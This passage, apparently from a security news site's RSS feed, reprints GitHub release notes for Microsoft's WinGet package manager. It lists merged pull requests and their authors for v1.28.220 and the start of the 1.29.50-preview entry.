<li>Update platform toolset by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3627539923" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5882" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5882/hovercard" href="https://github.com/microsoft/winget-cli/pull/5882">#5882</a></li>
<li>Extract event log for potential crash info by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3518633143" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5807" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5807/hovercard" href="https://github.com/microsoft/winget-cli/pull/5807">#5807</a></li>
<li>Update CODEOWNERS to include winget-developers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3649373914" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5891" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5891/hovercard" href="https://github.com/microsoft/winget-cli/pull/5891">#5891</a></li>
<li>Fixes for VS2026 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3665007222" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5896" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5896/hovercard" href="https://github.com/microsoft/winget-cli/pull/5896">#5896</a></li>
<li>Additional logging limitations and control by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3639765799" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5888" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5888/hovercard" href="https://github.com/microsoft/winget-cli/pull/5888">#5888</a></li>
<li>Use hybrid CRT linkage instead of full static by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713123433" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5913" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5913/hovercard" href="https://github.com/microsoft/winget-cli/pull/5913">#5913</a></li>
<li>Enable source reference to get thread globals for off-thread logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3496366336" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5780" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5780/hovercard" href="https://github.com/microsoft/winget-cli/pull/5780">#5780</a></li>
<li>Fix JSON, missing closing brace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doterik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doterik">@doterik</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3725749076" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5924" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5924/hovercard" href="https://github.com/microsoft/winget-cli/pull/5924">#5924</a></li>
<li>Test host for in-proc COM module validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3700306254" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5910" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5910/hovercard" href="https://github.com/microsoft/winget-cli/pull/5910">#5910</a></li>
<li>Add sleep to allow background threads to quiesce by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736500167" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5933" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5933/hovercard" href="https://github.com/microsoft/winget-cli/pull/5933">#5933</a></li>
<li>Allow suppressing configuration output on test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3503762781" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5794" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5794/hovercard" href="https://github.com/microsoft/winget-cli/pull/5794">#5794</a></li>
<li>Enable Explicit toggling for sources (i.e. Enable/Disable) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3682063243" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5904" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5904/hovercard" href="https://github.com/microsoft/winget-cli/pull/5904">#5904</a></li>
<li>Fix fuzz build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736419630" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5932" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5932/hovercard" href="https://github.com/microsoft/winget-cli/pull/5932">#5932</a></li>
<li>Normalize directory separators when adding packages to path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3504149438" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5796" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5796/hovercard" href="https://github.com/microsoft/winget-cli/pull/5796">#5796</a></li>
<li>Add sleep to another inproc test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3740622150" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5935" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5935/hovercard" href="https://github.com/microsoft/winget-cli/pull/5935">#5935</a></li>
<li>Don't build inproc testbed for fuzzing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745058247" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5937" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5937/hovercard" href="https://github.com/microsoft/winget-cli/pull/5937">#5937</a></li>
<li>Create schema 1.12.0 folder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3757864843" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5944" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5944/hovercard" href="https://github.com/microsoft/winget-cli/pull/5944">#5944</a></li>
<li>Fix names of 1.12 Schemas by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3757909234" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5945" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5945/hovercard" href="https://github.com/microsoft/winget-cli/pull/5945">#5945</a></li>
<li>Fix Font feature property name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3758021326" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5946" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5946/hovercard" href="https://github.com/microsoft/winget-cli/pull/5946">#5946</a></li>
<li>Add check to ensure vcpkg triplets match across projects by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3771462095" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5950" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5950/hovercard" href="https://github.com/microsoft/winget-cli/pull/5950">#5950</a></li>
<li>Update release notes for v1.28 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3786109953" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5957" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5957/hovercard" href="https://github.com/microsoft/winget-cli/pull/5957">#5957</a></li>
<li>Details output option for <code>list</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748529639" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5939" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5939/hovercard" href="https://github.com/microsoft/winget-cli/pull/5939">#5939</a></li>
<li>PowerShell Repair enhancements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3395519393" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5711" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5711/hovercard" href="https://github.com/microsoft/winget-cli/pull/5711">#5711</a></li>
<li>Allow inproc callers to disable termination signal handlers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789855368" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5958" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5958/hovercard" href="https://github.com/microsoft/winget-cli/pull/5958">#5958</a></li>
<li>Add manifest version to WinGetUtilInterop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/msftrubengu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/msftrubengu">@msftrubengu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794767294" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5964" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5964/hovercard" href="https://github.com/microsoft/winget-cli/pull/5964">#5964</a></li>
<li>Fixes for updating winget from winget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806959508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5972" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5972/hovercard" href="https://github.com/microsoft/winget-cli/pull/5972">#5972</a></li>
<li>Diagnostics and fix for pipeline test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3810295053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5975" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5975/hovercard" href="https://github.com/microsoft/winget-cli/pull/5975">#5975</a></li>
<li>Escape caller in user agent header by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3840346247" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5998" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5998/hovercard" href="https://github.com/microsoft/winget-cli/pull/5998">#5998</a></li>
<li>Add DSC resource list to manifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3839410468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5997" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5997/hovercard" href="https://github.com/microsoft/winget-cli/pull/5997">#5997</a></li>
<li>Add command builder with escaped user input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3817973099" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5982" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5982/hovercard" href="https://github.com/microsoft/winget-cli/pull/5982">#5982</a></li>
<li>Add missing closing brace in settings.export.schema.0.1.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DuckDuckStudio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DuckDuckStudio">@DuckDuckStudio</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3853198617" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6004" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6004/hovercard" href="https://github.com/microsoft/winget-cli/pull/6004">#6004</a></li>
<li>Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857311162" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6005" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6005/hovercard" href="https://github.com/microsoft/winget-cli/pull/6005">#6005</a></li>
<li>Remove experimental feature gate on source edit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857921476" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6006" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6006/hovercard" href="https://github.com/microsoft/winget-cli/pull/6006">#6006</a></li>
<li>Update ReleaseNotes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862674095" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6007" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6007/hovercard" href="https://github.com/microsoft/winget-cli/pull/6007">#6007</a></li>
<li>Make list details stable (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3889711357" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6021" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6021/hovercard" href="https://github.com/microsoft/winget-cli/pull/6021">#6021</a></li>
<li>Move to IReference rather than custom enum for optional bool (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893659251" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6024" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6024/hovercard" href="https://github.com/microsoft/winget-cli/pull/6024">#6024</a></li>
<li>Apply latest localization patch (1.28) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893720482" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6025" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6025/hovercard" href="https://github.com/microsoft/winget-cli/pull/6025">#6025</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohiuddin-khan-shiam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohiuddin-khan-shiam">@mohiuddin-khan-shiam</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3186146724" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5564" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5564/hovercard" href="https://github.com/microsoft/winget-cli/pull/5564">#5564</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doterik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doterik">@doterik</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3725749076" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5924" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5924/hovercard" href="https://github.com/microsoft/winget-cli/pull/5924">#5924</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.11.400...v1.28.220"><tt>v1.11.400...v1.28.220</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.29.50-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.29

What's Changed

PowerShell ...]]></description>
<link>https://tsecurity.de/de/3601258/downloads/windows-package-manager-12950-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601258/downloads/windows-package-manager-12950-preview/</guid>
<pubDate>Tue, 16 Jun 2026 11:31:54 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.29</h2>

<h2>What's Changed</h2>
<ul>
<li>PowerShell Repair enhancements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3395519393" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5711" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5711/hovercard" href="https://github.com/microsoft/winget-cli/pull/5711">#5711</a></li>
<li>Allow inproc callers to disable termination signal handlers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789855368" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5958" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5958/hovercard" href="https://github.com/microsoft/winget-cli/pull/5958">#5958</a></li>
<li>Add manifest version to WinGetUtilInterop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/msftrubengu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/msftrubengu">@msftrubengu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794767294" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5964" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5964/hovercard" href="https://github.com/microsoft/winget-cli/pull/5964">#5964</a></li>
<li>Fixes for updating winget from winget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806959508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5972" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5972/hovercard" href="https://github.com/microsoft/winget-cli/pull/5972">#5972</a></li>
<li>Diagnostics and fix for pipeline test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3810295053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5975" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5975/hovercard" href="https://github.com/microsoft/winget-cli/pull/5975">#5975</a></li>
<li>Escape caller in user agent header by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3840346247" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5998" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5998/hovercard" href="https://github.com/microsoft/winget-cli/pull/5998">#5998</a></li>
<li>Add DSC resource list to manifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3839410468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5997" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5997/hovercard" href="https://github.com/microsoft/winget-cli/pull/5997">#5997</a></li>
<li>Add command builder with escaped user input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3817973099" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5982" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5982/hovercard" href="https://github.com/microsoft/winget-cli/pull/5982">#5982</a></li>
<li>Add missing closing brace in settings.export.schema.0.1.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DuckDuckStudio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DuckDuckStudio">@DuckDuckStudio</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3853198617" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6004" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6004/hovercard" href="https://github.com/microsoft/winget-cli/pull/6004">#6004</a></li>
<li>Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857311162" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6005" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6005/hovercard" href="https://github.com/microsoft/winget-cli/pull/6005">#6005</a></li>
<li>Remove experimental feature gate on source edit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3857921476" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6006" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6006/hovercard" href="https://github.com/microsoft/winget-cli/pull/6006">#6006</a></li>
<li>Update ReleaseNotes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862674095" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6007" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6007/hovercard" href="https://github.com/microsoft/winget-cli/pull/6007">#6007</a></li>
